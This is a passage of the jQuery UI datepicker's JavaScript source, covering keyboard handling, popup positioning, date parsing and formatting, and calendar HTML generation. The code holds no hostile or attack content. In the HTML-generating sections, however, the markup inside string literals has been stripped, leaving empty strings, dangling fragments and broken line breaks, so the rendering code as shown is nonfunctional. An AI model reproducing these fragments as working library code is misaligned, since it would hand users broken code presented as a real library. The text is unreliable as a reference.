case 40: if (event.ctrlKey || event.metaKey) $.datepicker._adjustDate(event.target, +7, 'D'); handled = event.ctrlKey || event.metaKey; break; // +1 week on ctrl or command +down default: handled = false; } else if (event.keyCode == 36 && event.ctrlKey) // display the date picker on ctrl+home $.datepicker._showDatepicker(this); else { handled = false; } if (handled) { event.preventDefault(); event.stopPropagation(); } }, /* Filter entered characters - based on date format. */ _doKeyPress: function(event) { var inst = $.datepicker._getInst(event.target); if ($.datepicker._get(inst, 'constrainInput')) { var chars = $.datepicker._possibleChars($.datepicker._get(inst, 'dateFormat')); var chr = String.fromCharCode(event.charCode == undefined ? event.keyCode : event.charCode); return event.ctrlKey || event.metaKey || (chr < ' ' || !chars || chars.indexOf(chr) > -1); } }, /* Synchronise manual entry and field/alternate field. */ _doKeyUp: function(event) { var inst = $.datepicker._getInst(event.target); if (inst.input.val() != inst.lastVal) { try { var date = $.datepicker.parseDate($.datepicker._get(inst, 'dateFormat'), (inst.input ? inst.input.val() : null), $.datepicker._getFormatConfig(inst)); if (date) { // only if valid $.datepicker._setDateFromField(inst); $.datepicker._updateAlternate(inst); $.datepicker._updateDatepicker(inst); } } catch (event) { $.datepicker.log(event); } } return true; }, /* Pop-up the date picker for a given input field. @param input element - the input field attached to the date picker or event - if triggered by focus */ _showDatepicker: function(input) { input = input.target || input; if (input.nodeName.toLowerCase() != 'input') // find from button/image trigger input = $('input', input.parentNode)[0]; if ($.datepicker._isDisabledDatepicker(input) || $.datepicker._lastInput == input) // already here return; var inst = $.datepicker._getInst(input); if ($.datepicker._curInst && $.datepicker._curInst != inst) { if ( $.datepicker._datepickerShowing ) { $.datepicker._triggerOnClose($.datepicker._curInst); } $.datepicker._curInst.dpDiv.stop(true, true); } var beforeShow = $.datepicker._get(inst, 'beforeShow'); extendRemove(inst.settings, (beforeShow ? beforeShow.apply(input, [input, inst]) : {})); inst.lastVal = null; $.datepicker._lastInput = input; $.datepicker._setDateFromField(inst); if ($.datepicker._inDialog) // hide cursor input.value = ''; if (!$.datepicker._pos) { // position below input $.datepicker._pos = $.datepicker._findPos(input); $.datepicker._pos[1] += input.offsetHeight; // add the height } var isFixed = false; $(input).parents().each(function() { isFixed |= $(this).css('position') == 'fixed'; return !isFixed; }); if (isFixed && $.browser.opera) { // correction for Opera when fixed and scrolled $.datepicker._pos[0] -= document.documentElement.scrollLeft; $.datepicker._pos[1] -= document.documentElement.scrollTop; } var offset = {left: $.datepicker._pos[0], top: $.datepicker._pos[1]}; $.datepicker._pos = null; //to avoid flashes on Firefox inst.dpDiv.empty(); // determine sizing offscreen inst.dpDiv.css({position: 'absolute', display: 'block', top: '-1000px'}); $.datepicker._updateDatepicker(inst); // fix width for dynamic number of date pickers // and adjust position before showing offset = $.datepicker._checkOffset(inst, offset, isFixed); inst.dpDiv.css({position: ($.datepicker._inDialog && $.blockUI ? 'static' : (isFixed ? 'fixed' : 'absolute')), display: 'none', left: offset.left + 'px', top: offset.top + 'px'}); if (!inst.inline) { var showAnim = $.datepicker._get(inst, 'showAnim'); var duration = $.datepicker._get(inst, 'duration'); var postProcess = function() { var cover = inst.dpDiv.find('iframe.ui-datepicker-cover'); // IE6- only if( !! cover.length ){ var borders = $.datepicker._getBorders(inst.dpDiv); cover.css({left: -borders[0], top: -borders[1], width: inst.dpDiv.outerWidth(), height: inst.dpDiv.outerHeight()}); } }; inst.dpDiv.zIndex($(input).zIndex()+1); $.datepicker._datepickerShowing = true; if ($.effects && $.effects[showAnim]) inst.dpDiv.show(showAnim, $.datepicker._get(inst, 'showOptions'), duration, postProcess); else inst.dpDiv[showAnim || 'show']((showAnim ? duration : null), postProcess); if (!showAnim || !duration) postProcess(); if (inst.input.is(':visible') && !inst.input.is(':disabled')) inst.input.focus(); $.datepicker._curInst = inst; } }, /* Generate the date picker content. */ _updateDatepicker: function(inst) { var self = this; self.maxRows = 4; //Reset the max number of rows being displayed (see #7043) var borders = $.datepicker._getBorders(inst.dpDiv); instActive = inst; // for delegate hover events inst.dpDiv.empty().append(this._generateHTML(inst)); var cover = inst.dpDiv.find('iframe.ui-datepicker-cover'); // IE6- only if( !!cover.length ){ //avoid call to outerXXXX() when not in IE6 cover.css({left: -borders[0], top: -borders[1], width: inst.dpDiv.outerWidth(), height: inst.dpDiv.outerHeight()}) } inst.dpDiv.find('.' + this._dayOverClass + ' a').mouseover(); var numMonths = this._getNumberOfMonths(inst); var cols = numMonths[1]; var width = 17; inst.dpDiv.removeClass('ui-datepicker-multi-2 ui-datepicker-multi-3 ui-datepicker-multi-4').width(''); if (cols > 1) inst.dpDiv.addClass('ui-datepicker-multi-' + cols).css('width', (width * cols) + 'em'); inst.dpDiv[(numMonths[0] != 1 || numMonths[1] != 1 ? 'add' : 'remove') + 'Class']('ui-datepicker-multi'); inst.dpDiv[(this._get(inst, 'isRTL') ? 'add' : 'remove') + 'Class']('ui-datepicker-rtl'); if (inst == $.datepicker._curInst && $.datepicker._datepickerShowing && inst.input && // #6694 - don't focus the input if it's already focused // this breaks the change event in IE inst.input.is(':visible') && !inst.input.is(':disabled') && inst.input[0] != document.activeElement) inst.input.focus(); // deffered render of the years select (to avoid flashes on Firefox) if( inst.yearshtml ){ var origyearshtml = inst.yearshtml; setTimeout(function(){ //assure that inst.yearshtml didn't change. if( origyearshtml === inst.yearshtml && inst.yearshtml ){ inst.dpDiv.find('select.ui-datepicker-year:first').replaceWith(inst.yearshtml); } origyearshtml = inst.yearshtml = null; }, 0); } }, /* Retrieve the size of left and top borders for an element. @param elem (jQuery object) the element of interest @return (number[2]) the left and top borders */ _getBorders: function(elem) { var convert = function(value) { return {thin: 1, medium: 2, thick: 3}[value] || value; }; return [parseFloat(convert(elem.css('border-left-width'))), parseFloat(convert(elem.css('border-top-width')))]; }, /* Check positioning to remain on screen. */ _checkOffset: function(inst, offset, isFixed) { var dpWidth = inst.dpDiv.outerWidth(); var dpHeight = inst.dpDiv.outerHeight(); var inputWidth = inst.input ? inst.input.outerWidth() : 0; var inputHeight = inst.input ? inst.input.outerHeight() : 0; var viewWidth = document.documentElement.clientWidth + $(document).scrollLeft(); var viewHeight = document.documentElement.clientHeight + $(document).scrollTop(); offset.left -= (this._get(inst, 'isRTL') ? (dpWidth - inputWidth) : 0); offset.left -= (isFixed && offset.left == inst.input.offset().left) ? $(document).scrollLeft() : 0; offset.top -= (isFixed && offset.top == (inst.input.offset().top + inputHeight)) ? $(document).scrollTop() : 0; // now check if datepicker is showing outside window viewport - move to a better place if so. offset.left -= Math.min(offset.left, (offset.left + dpWidth > viewWidth && viewWidth > dpWidth) ? Math.abs(offset.left + dpWidth - viewWidth) : 0); offset.top -= Math.min(offset.top, (offset.top + dpHeight > viewHeight && viewHeight > dpHeight) ? Math.abs(dpHeight + inputHeight) : 0); return offset; }, /* Find an object's position on the screen. */ _findPos: function(obj) { var inst = this._getInst(obj); var isRTL = this._get(inst, 'isRTL'); while (obj && (obj.type == 'hidden' || obj.nodeType != 1 || $.expr.filters.hidden(obj))) { obj = obj[isRTL ? 'previousSibling' : 'nextSibling']; } var position = $(obj).offset(); return [position.left, position.top]; }, /* Trigger custom callback of onClose. */ _triggerOnClose: function(inst) { var onClose = this._get(inst, 'onClose'); if (onClose) onClose.apply((inst.input ? inst.input[0] : null), [(inst.input ? inst.input.val() : ''), inst]); }, /* Hide the date picker from view. @param input element - the input field attached to the date picker */ _hideDatepicker: function(input) { var inst = this._curInst; if (!inst || (input && inst != $.data(input, PROP_NAME))) return; if (this._datepickerShowing) { var showAnim = this._get(inst, 'showAnim'); var duration = this._get(inst, 'duration'); var postProcess = function() { $.datepicker._tidyDialog(inst); this._curInst = null; }; if ($.effects && $.effects[showAnim]) inst.dpDiv.hide(showAnim, $.datepicker._get(inst, 'showOptions'), duration, postProcess); else inst.dpDiv[(showAnim == 'slideDown' ? 'slideUp' : (showAnim == 'fadeIn' ? 'fadeOut' : 'hide'))]((showAnim ? duration : null), postProcess); if (!showAnim) postProcess(); $.datepicker._triggerOnClose(inst); this._datepickerShowing = false; this._lastInput = null; if (this._inDialog) { this._dialogInput.css({ position: 'absolute', left: '0', top: '-100px' }); if ($.blockUI) { $.unblockUI(); $('body').append(this.dpDiv); } } this._inDialog = false; } }, /* Tidy up after a dialog display. */ _tidyDialog: function(inst) { inst.dpDiv.removeClass(this._dialogClass).unbind('.ui-datepicker-calendar'); }, /* Close date picker if clicked elsewhere. */ _checkExternalClick: function(event) { if (!$.datepicker._curInst) return; var $target = $(event.target); if ($target[0].id != $.datepicker._mainDivId && $target.parents('#' + $.datepicker._mainDivId).length == 0 && !$target.hasClass($.datepicker.markerClassName) && !$target.hasClass($.datepicker._triggerClass) && $.datepicker._datepickerShowing && !($.datepicker._inDialog && $.blockUI)) $.datepicker._hideDatepicker(); }, /* Adjust one of the date sub-fields. */ _adjustDate: function(id, offset, period) { var target = $(id); var inst = this._getInst(target[0]); if (this._isDisabledDatepicker(target[0])) { return; } this._adjustInstDate(inst, offset + (period == 'M' ? this._get(inst, 'showCurrentAtPos') : 0), // undo positioning period); this._updateDatepicker(inst); }, /* Action for current link. */ _gotoToday: function(id) { var target = $(id); var inst = this._getInst(target[0]); if (this._get(inst, 'gotoCurrent') && inst.currentDay) { inst.selectedDay = inst.currentDay; inst.drawMonth = inst.selectedMonth = inst.currentMonth; inst.drawYear = inst.selectedYear = inst.currentYear; } else { var date = new Date(); inst.selectedDay = date.getDate(); inst.drawMonth = inst.selectedMonth = date.getMonth(); inst.drawYear = inst.selectedYear = date.getFullYear(); } this._notifyChange(inst); this._adjustDate(target); }, /* Action for selecting a new month/year. */ _selectMonthYear: function(id, select, period) { var target = $(id); var inst = this._getInst(target[0]); inst._selectingMonthYear = false; inst['selected' + (period == 'M' ? 'Month' : 'Year')] = inst['draw' + (period == 'M' ? 'Month' : 'Year')] = parseInt(select.options[select.selectedIndex].value,10); this._notifyChange(inst); this._adjustDate(target); }, /* Restore input focus after not changing month/year. */ _clickMonthYear: function(id) { var target = $(id); var inst = this._getInst(target[0]); if (inst.input && inst._selectingMonthYear) { setTimeout(function() { inst.input.focus(); }, 0); } inst._selectingMonthYear = !inst._selectingMonthYear; }, /* Action for selecting a day. */ _selectDay: function(id, month, year, td) { var target = $(id); if ($(td).hasClass(this._unselectableClass) || this._isDisabledDatepicker(target[0])) { return; } var inst = this._getInst(target[0]); inst.selectedDay = inst.currentDay = $('a', td).html(); inst.selectedMonth = inst.currentMonth = month; inst.selectedYear = inst.currentYear = year; this._selectDate(id, this._formatDate(inst, inst.currentDay, inst.currentMonth, inst.currentYear)); }, /* Erase the input field and hide the date picker. */ _clearDate: function(id) { var target = $(id); var inst = this._getInst(target[0]); this._selectDate(target, ''); }, /* Update the input field with the selected date. */ _selectDate: function(id, dateStr) { var target = $(id); var inst = this._getInst(target[0]); dateStr = (dateStr != null ? dateStr : this._formatDate(inst)); if (inst.input) inst.input.val(dateStr); this._updateAlternate(inst); var onSelect = this._get(inst, 'onSelect'); if (onSelect) onSelect.apply((inst.input ? inst.input[0] : null), [dateStr, inst]); // trigger custom callback else if (inst.input) inst.input.trigger('change'); // fire the change event if (inst.inline) this._updateDatepicker(inst); else { this._hideDatepicker(); this._lastInput = inst.input[0]; if (typeof(inst.input[0]) != 'object') inst.input.focus(); // restore focus this._lastInput = null; } }, /* Update any alternate field to synchronise with the main field. */ _updateAlternate: function(inst) { var altField = this._get(inst, 'altField'); if (altField) { // update alternate field too var altFormat = this._get(inst, 'altFormat') || this._get(inst, 'dateFormat'); var date = this._getDate(inst); var dateStr = this.formatDate(altFormat, date, this._getFormatConfig(inst)); $(altField).each(function() { $(this).val(dateStr); }); } }, /* Set as beforeShowDay function to prevent selection of weekends. @param date Date - the date to customise @return [boolean, string] - is this date selectable?, what is its CSS class? */ noWeekends: function(date) { var day = date.getDay(); return [(day > 0 && day < 6), '']; }, /* Set as calculateWeek to determine the week of the year based on the ISO 8601 definition. @param date Date - the date to get the week for @return number - the number of the week within the year that contains this date */ iso8601Week: function(date) { var checkDate = new Date(date.getTime()); // Find Thursday of this week starting on Monday checkDate.setDate(checkDate.getDate() + 4 - (checkDate.getDay() || 7)); var time = checkDate.getTime(); checkDate.setMonth(0); // Compare with Jan 1 checkDate.setDate(1); return Math.floor(Math.round((time - checkDate) / 86400000) / 7) + 1; }, /* Parse a string value into a date object. See formatDate below for the possible formats. @param format string - the expected format of the date @param value string - the date in the above format @param settings Object - attributes include: shortYearCutoff number - the cutoff year for determining the century (optional) dayNamesShort string[7] - abbreviated names of the days from Sunday (optional) dayNames string[7] - names of the days from Sunday (optional) monthNamesShort string[12] - abbreviated names of the months (optional) monthNames string[12] - names of the months (optional) @return Date - the extracted date value or null if value is blank */ parseDate: function (format, value, settings) { if (format == null || value == null) throw 'Invalid arguments'; value = (typeof value == 'object' ? value.toString() : value + ''); if (value == '') return null; var shortYearCutoff = (settings ? settings.shortYearCutoff : null) || this._defaults.shortYearCutoff; shortYearCutoff = (typeof shortYearCutoff != 'string' ? shortYearCutoff : new Date().getFullYear() % 100 + parseInt(shortYearCutoff, 10)); var dayNamesShort = (settings ? settings.dayNamesShort : null) || this._defaults.dayNamesShort; var dayNames = (settings ? settings.dayNames : null) || this._defaults.dayNames; var monthNamesShort = (settings ? settings.monthNamesShort : null) || this._defaults.monthNamesShort; var monthNames = (settings ? settings.monthNames : null) || this._defaults.monthNames; var year = -1; var month = -1; var day = -1; var doy = -1; var literal = false; // Check whether a format character is doubled var lookAhead = function(match) { var matches = (iFormat + 1 < format.length && format.charAt(iFormat + 1) == match); if (matches) iFormat++; return matches; }; // Extract a number from the string value var getNumber = function(match) { var isDoubled = lookAhead(match); var size = (match == '@' ? 14 : (match == '!' ? 20 : (match == 'y' && isDoubled ? 4 : (match == 'o' ? 3 : 2)))); var digits = new RegExp('^\\d{1,' + size + '}'); var num = value.substring(iValue).match(digits); if (!num) throw 'Missing number at position ' + iValue; iValue += num[0].length; return parseInt(num[0], 10); }; // Extract a name from the string value and convert to an index var getName = function(match, shortNames, longNames) { var names = $.map(lookAhead(match) ? longNames : shortNames, function (v, k) { return [ [k, v] ]; }).sort(function (a, b) { return -(a[1].length - b[1].length); }); var index = -1; $.each(names, function (i, pair) { var name = pair[1]; if (value.substr(iValue, name.length).toLowerCase() == name.toLowerCase()) { index = pair[0]; iValue += name.length; return false; } }); if (index != -1) return index + 1; else throw 'Unknown name at position ' + iValue; }; // Confirm that a literal character matches the string value var checkLiteral = function() { if (value.charAt(iValue) != format.charAt(iFormat)) throw 'Unexpected literal at position ' + iValue; iValue++; }; var iValue = 0; for (var iFormat = 0; iFormat < format.length; iFormat++) { if (literal) if (format.charAt(iFormat) == "'" && !lookAhead("'")) literal = false; else checkLiteral(); else switch (format.charAt(iFormat)) { case 'd': day = getNumber('d'); break; case 'D': getName('D', dayNamesShort, dayNames); break; case 'o': doy = getNumber('o'); break; case 'm': month = getNumber('m'); break; case 'M': month = getName('M', monthNamesShort, monthNames); break; case 'y': year = getNumber('y'); break; case '@': var date = new Date(getNumber('@')); year = date.getFullYear(); month = date.getMonth() + 1; day = date.getDate(); break; case '!': var date = new Date((getNumber('!') - this._ticksTo1970) / 10000); year = date.getFullYear(); month = date.getMonth() + 1; day = date.getDate(); break; case "'": if (lookAhead("'")) checkLiteral(); else literal = true; break; default: checkLiteral(); } } if (iValue < value.length){ throw "Extra/unparsed characters found in date: " + value.substring(iValue); } if (year == -1) year = new Date().getFullYear(); else if (year < 100) year += new Date().getFullYear() - new Date().getFullYear() % 100 + (year <= shortYearCutoff ? 0 : -100); if (doy > -1) { month = 1; day = doy; do { var dim = this._getDaysInMonth(year, month - 1); if (day <= dim) break; month++; day -= dim; } while (true); } var date = this._daylightSavingAdjust(new Date(year, month - 1, day)); if (date.getFullYear() != year || date.getMonth() + 1 != month || date.getDate() != day) throw 'Invalid date'; // E.g. 31/02/00 return date; }, /* Standard date formats. */ ATOM: 'yy-mm-dd', // RFC 3339 (ISO 8601) COOKIE: 'D, dd M yy', ISO_8601: 'yy-mm-dd', RFC_822: 'D, d M y', RFC_850: 'DD, dd-M-y', RFC_1036: 'D, d M y', RFC_1123: 'D, d M yy', RFC_2822: 'D, d M yy', RSS: 'D, d M y', // RFC 822 TICKS: '!', TIMESTAMP: '@', W3C: 'yy-mm-dd', // ISO 8601 _ticksTo1970: (((1970 - 1) * 365 + Math.floor(1970 / 4) - Math.floor(1970 / 100) + Math.floor(1970 / 400)) * 24 * 60 * 60 * 10000000), /* Format a date object into a string value. The format can be combinations of the following: d - day of month (no leading zero) dd - day of month (two digit) o - day of year (no leading zeros) oo - day of year (three digit) D - day name short DD - day name long m - month of year (no leading zero) mm - month of year (two digit) M - month name short MM - month name long y - year (two digit) yy - year (four digit) @ - Unix timestamp (ms since 01/01/1970) ! - Windows ticks (100ns since 01/01/0001) '...' - literal text '' - single quote @param format string - the desired format of the date @param date Date - the date value to format @param settings Object - attributes include: dayNamesShort string[7] - abbreviated names of the days from Sunday (optional) dayNames string[7] - names of the days from Sunday (optional) monthNamesShort string[12] - abbreviated names of the months (optional) monthNames string[12] - names of the months (optional) @return string - the date in the above format */ formatDate: function (format, date, settings) { if (!date) return ''; var dayNamesShort = (settings ? settings.dayNamesShort : null) || this._defaults.dayNamesShort; var dayNames = (settings ? settings.dayNames : null) || this._defaults.dayNames; var monthNamesShort = (settings ? settings.monthNamesShort : null) || this._defaults.monthNamesShort; var monthNames = (settings ? settings.monthNames : null) || this._defaults.monthNames; // Check whether a format character is doubled var lookAhead = function(match) { var matches = (iFormat + 1 < format.length && format.charAt(iFormat + 1) == match); if (matches) iFormat++; return matches; }; // Format a number, with leading zero if necessary var formatNumber = function(match, value, len) { var num = '' + value; if (lookAhead(match)) while (num.length < len) num = '0' + num; return num; }; // Format a name, short or long as requested var formatName = function(match, value, shortNames, longNames) { return (lookAhead(match) ? longNames[value] : shortNames[value]); }; var output = ''; var literal = false; if (date) for (var iFormat = 0; iFormat < format.length; iFormat++) { if (literal) if (format.charAt(iFormat) == "'" && !lookAhead("'")) literal = false; else output += format.charAt(iFormat); else switch (format.charAt(iFormat)) { case 'd': output += formatNumber('d', date.getDate(), 2); break; case 'D': output += formatName('D', date.getDay(), dayNamesShort, dayNames); break; case 'o': output += formatNumber('o', Math.round((new Date(date.getFullYear(), date.getMonth(), date.getDate()).getTime() - new Date(date.getFullYear(), 0, 0).getTime()) / 86400000), 3); break; case 'm': output += formatNumber('m', date.getMonth() + 1, 2); break; case 'M': output += formatName('M', date.getMonth(), monthNamesShort, monthNames); break; case 'y': output += (lookAhead('y') ? date.getFullYear() : (date.getYear() % 100 < 10 ? '0' : '') + date.getYear() % 100); break; case '@': output += date.getTime(); break; case '!': output += date.getTime() * 10000 + this._ticksTo1970; break; case "'": if (lookAhead("'")) output += "'"; else literal = true; break; default: output += format.charAt(iFormat); } } return output; }, /* Extract all possible characters from the date format. */ _possibleChars: function (format) { var chars = ''; var literal = false; // Check whether a format character is doubled var lookAhead = function(match) { var matches = (iFormat + 1 < format.length && format.charAt(iFormat + 1) == match); if (matches) iFormat++; return matches; }; for (var iFormat = 0; iFormat < format.length; iFormat++) if (literal) if (format.charAt(iFormat) == "'" && !lookAhead("'")) literal = false; else chars += format.charAt(iFormat); else switch (format.charAt(iFormat)) { case 'd': case 'm': case 'y': case '@': chars += '0123456789'; break; case 'D': case 'M': return null; // Accept anything case "'": if (lookAhead("'")) chars += "'"; else literal = true; break; default: chars += format.charAt(iFormat); } return chars; }, /* Get a setting value, defaulting if necessary. */ _get: function(inst, name) { return inst.settings[name] !== undefined ? inst.settings[name] : this._defaults[name]; }, /* Parse existing date and initialise date picker. */ _setDateFromField: function(inst, noDefault) { if (inst.input.val() == inst.lastVal) { return; } var dateFormat = this._get(inst, 'dateFormat'); var dates = inst.lastVal = inst.input ? inst.input.val() : null; var date, defaultDate; date = defaultDate = this._getDefaultDate(inst); var settings = this._getFormatConfig(inst); try { date = this.parseDate(dateFormat, dates, settings) || defaultDate; } catch (event) { this.log(event); dates = (noDefault ? '' : dates); } inst.selectedDay = date.getDate(); inst.drawMonth = inst.selectedMonth = date.getMonth(); inst.drawYear = inst.selectedYear = date.getFullYear(); inst.currentDay = (dates ? date.getDate() : 0); inst.currentMonth = (dates ? date.getMonth() : 0); inst.currentYear = (dates ? date.getFullYear() : 0); this._adjustInstDate(inst); }, /* Retrieve the default date shown on opening. */ _getDefaultDate: function(inst) { return this._restrictMinMax(inst, this._determineDate(inst, this._get(inst, 'defaultDate'), new Date())); }, /* A date may be specified as an exact value or a relative one. */ _determineDate: function(inst, date, defaultDate) { var offsetNumeric = function(offset) { var date = new Date(); date.setDate(date.getDate() + offset); return date; }; var offsetString = function(offset) { try { return $.datepicker.parseDate($.datepicker._get(inst, 'dateFormat'), offset, $.datepicker._getFormatConfig(inst)); } catch (e) { // Ignore } var date = (offset.toLowerCase().match(/^c/) ? $.datepicker._getDate(inst) : null) || new Date(); var year = date.getFullYear(); var month = date.getMonth(); var day = date.getDate(); var pattern = /([+-]?[0-9]+)\s*(d|D|w|W|m|M|y|Y)?/g; var matches = pattern.exec(offset); while (matches) { switch (matches[2] || 'd') { case 'd' : case 'D' : day += parseInt(matches[1],10); break; case 'w' : case 'W' : day += parseInt(matches[1],10) * 7; break; case 'm' : case 'M' : month += parseInt(matches[1],10); day = Math.min(day, $.datepicker._getDaysInMonth(year, month)); break; case 'y': case 'Y' : year += parseInt(matches[1],10); day = Math.min(day, $.datepicker._getDaysInMonth(year, month)); break; } matches = pattern.exec(offset); } return new Date(year, month, day); }; var newDate = (date == null || date === '' ? defaultDate : (typeof date == 'string' ? offsetString(date) : (typeof date == 'number' ? (isNaN(date) ? defaultDate : offsetNumeric(date)) : new Date(date.getTime())))); newDate = (newDate && newDate.toString() == 'Invalid Date' ? defaultDate : newDate); if (newDate) { newDate.setHours(0); newDate.setMinutes(0); newDate.setSeconds(0); newDate.setMilliseconds(0); } return this._daylightSavingAdjust(newDate); }, /* Handle switch to/from daylight saving. Hours may be non-zero on daylight saving cut-over: > 12 when midnight changeover, but then cannot generate midnight datetime, so jump to 1AM, otherwise reset. @param date (Date) the date to check @return (Date) the corrected date */ _daylightSavingAdjust: function(date) { if (!date) return null; date.setHours(date.getHours() > 12 ? date.getHours() + 2 : 0); return date; }, /* Set the date(s) directly. */ _setDate: function(inst, date, noChange) { var clear = !date; var origMonth = inst.selectedMonth; var origYear = inst.selectedYear; var newDate = this._restrictMinMax(inst, this._determineDate(inst, date, new Date())); inst.selectedDay = inst.currentDay = newDate.getDate(); inst.drawMonth = inst.selectedMonth = inst.currentMonth = newDate.getMonth(); inst.drawYear = inst.selectedYear = inst.currentYear = newDate.getFullYear(); if ((origMonth != inst.selectedMonth || origYear != inst.selectedYear) && !noChange) this._notifyChange(inst); this._adjustInstDate(inst); if (inst.input) { inst.input.val(clear ? '' : this._formatDate(inst)); } }, /* Retrieve the date(s) directly. */ _getDate: function(inst) { var startDate = (!inst.currentYear || (inst.input && inst.input.val() == '') ? null : this._daylightSavingAdjust(new Date( inst.currentYear, inst.currentMonth, inst.currentDay))); return startDate; }, /* Generate the HTML for the current state of the date picker. */ _generateHTML: function(inst) { var today = new Date(); today = this._daylightSavingAdjust( new Date(today.getFullYear(), today.getMonth(), today.getDate())); // clear time var isRTL = this._get(inst, 'isRTL'); var showButtonPanel = this._get(inst, 'showButtonPanel'); var hideIfNoPrevNext = this._get(inst, 'hideIfNoPrevNext'); var navigationAsDateFormat = this._get(inst, 'navigationAsDateFormat'); var numMonths = this._getNumberOfMonths(inst); var showCurrentAtPos = this._get(inst, 'showCurrentAtPos'); var stepMonths = this._get(inst, 'stepMonths'); var isMultiMonth = (numMonths[0] != 1 || numMonths[1] != 1); var currentDate = this._daylightSavingAdjust((!inst.currentDay ? new Date(9999, 9, 9) : new Date(inst.currentYear, inst.currentMonth, inst.currentDay))); var minDate = this._getMinMaxDate(inst, 'min'); var maxDate = this._getMinMaxDate(inst, 'max'); var drawMonth = inst.drawMonth - showCurrentAtPos; var drawYear = inst.drawYear; if (drawMonth < 0) { drawMonth += 12; drawYear--; } if (maxDate) { var maxDraw = this._daylightSavingAdjust(new Date(maxDate.getFullYear(), maxDate.getMonth() - (numMonths[0] * numMonths[1]) + 1, maxDate.getDate())); maxDraw = (minDate && maxDraw < minDate ? minDate : maxDraw); while (this._daylightSavingAdjust(new Date(drawYear, drawMonth, 1)) > maxDraw) { drawMonth--; if (drawMonth < 0) { drawMonth = 11; drawYear--; } } } inst.drawMonth = drawMonth; inst.drawYear = drawYear; var prevText = this._get(inst, 'prevText'); prevText = (!navigationAsDateFormat ? prevText : this.formatDate(prevText, this._daylightSavingAdjust(new Date(drawYear, drawMonth - stepMonths, 1)), this._getFormatConfig(inst))); var prev = (this._canAdjustMonth(inst, -1, drawYear, drawMonth) ? '' + prevText + '' : (hideIfNoPrevNext ? '' : '' + prevText + '')); var nextText = this._get(inst, 'nextText'); nextText = (!navigationAsDateFormat ? nextText : this.formatDate(nextText, this._daylightSavingAdjust(new Date(drawYear, drawMonth + stepMonths, 1)), this._getFormatConfig(inst))); var next = (this._canAdjustMonth(inst, +1, drawYear, drawMonth) ? '' + nextText + '' : (hideIfNoPrevNext ? '' : '' + nextText + '')); var currentText = this._get(inst, 'currentText'); var gotoDate = (this._get(inst, 'gotoCurrent') && inst.currentDay ? currentDate : today); currentText = (!navigationAsDateFormat ? currentText : this.formatDate(currentText, gotoDate, this._getFormatConfig(inst))); var controls = (!inst.inline ? '' : ''); var buttonPanel = (showButtonPanel) ? '
' + (isRTL ? controls : '') + (this._isInRange(inst, gotoDate) ? '' : '') + (isRTL ? '' : controls) + '
' : ''; var firstDay = parseInt(this._get(inst, 'firstDay'),10); firstDay = (isNaN(firstDay) ? 0 : firstDay); var showWeek = this._get(inst, 'showWeek'); var dayNames = this._get(inst, 'dayNames'); var dayNamesShort = this._get(inst, 'dayNamesShort'); var dayNamesMin = this._get(inst, 'dayNamesMin'); var monthNames = this._get(inst, 'monthNames'); var monthNamesShort = this._get(inst, 'monthNamesShort'); var beforeShowDay = this._get(inst, 'beforeShowDay'); var showOtherMonths = this._get(inst, 'showOtherMonths'); var selectOtherMonths = this._get(inst, 'selectOtherMonths'); var calculateWeek = this._get(inst, 'calculateWeek') || this.iso8601Week; var defaultDate = this._getDefaultDate(inst); var html = ''; for (var row = 0; row < numMonths[0]; row++) { var group = ''; this.maxRows = 4; for (var col = 0; col < numMonths[1]; col++) { var selectedDate = this._daylightSavingAdjust(new Date(drawYear, drawMonth, inst.selectedDay)); var cornerClass = ' ui-corner-all'; var calender = ''; if (isMultiMonth) { calender += '
'; } calender += '
' + (/all|left/.test(cornerClass) && row == 0 ? (isRTL ? next : prev) : '') + (/all|right/.test(cornerClass) && row == 0 ? (isRTL ? prev : next) : '') + this._generateMonthYearHeader(inst, drawMonth, drawYear, minDate, maxDate, row > 0 || col > 0, monthNames, monthNamesShort) + // draw month headers '
' + ''; var thead = (showWeek ? '' : ''); for (var dow = 0; dow < 7; dow++) { // days of the week var day = (dow + firstDay) % 7; thead += '= 5 ? ' class="ui-datepicker-week-end"' : '') + '>' + '' + dayNamesMin[day] + ''; } calender += thead + ''; var daysInMonth = this._getDaysInMonth(drawYear, drawMonth); if (drawYear == inst.selectedYear && drawMonth == inst.selectedMonth) inst.selectedDay = Math.min(inst.selectedDay, daysInMonth); var leadDays = (this._getFirstDayOfMonth(drawYear, drawMonth) - firstDay + 7) % 7; var curRows = Math.ceil((leadDays + daysInMonth) / 7); // calculate the number of rows to generate var numRows = (isMultiMonth ? this.maxRows > curRows ? this.maxRows : curRows : curRows); //If multiple months, use the higher number of rows (see #7043) this.maxRows = numRows; var printDate = this._daylightSavingAdjust(new Date(drawYear, drawMonth, 1 - leadDays)); for (var dRow = 0; dRow < numRows; dRow++) { // create date picker rows calender += ''; var tbody = (!showWeek ? '' : ''); for (var dow = 0; dow < 7; dow++) { // create date picker days var daySettings = (beforeShowDay ? beforeShowDay.apply((inst.input ? inst.input[0] : null), [printDate]) : [true, '']); var otherMonth = (printDate.getMonth() != drawMonth); var unselectable = (otherMonth && !selectOtherMonths) || !daySettings[0] || (minDate && printDate < minDate) || (maxDate && printDate > maxDate); tbody += ''; // display selectable date printDate.setDate(printDate.getDate() + 1); printDate = this._daylightSavingAdjust(printDate); } calender += tbody + ''; } drawMonth++; if (drawMonth > 11) { drawMonth = 0; drawYear++; } calender += '
' + this._get(inst, 'weekHeader') + '
' + this._get(inst, 'calculateWeek')(printDate) + '' + // actions (otherMonth && !showOtherMonths ? ' ' : // display for other months (unselectable ? '' + printDate.getDate() + '' : '' + printDate.getDate() + '')) + '
' + (isMultiMonth ? '
' + ((numMonths[0] > 0 && col == numMonths[1]-1) ? '
' : '') : ''); group += calender; } html += group; } html += buttonPanel + ($.browser.msie && parseInt($.browser.version,10) < 7 && !inst.inline ? '' : ''); inst._keyEvent = false; return html; }, /* Generate the month and year header. */ _generateMonthYearHeader: function(inst, drawMonth, drawYear, minDate, maxDate, secondary, monthNames, monthNamesShort) { var changeMonth = this._get(inst, 'changeMonth'); var changeYear = this._get(inst, 'changeYear'); var showMonthAfterYear = this._get(inst, 'showMonthAfterYear'); var html = '
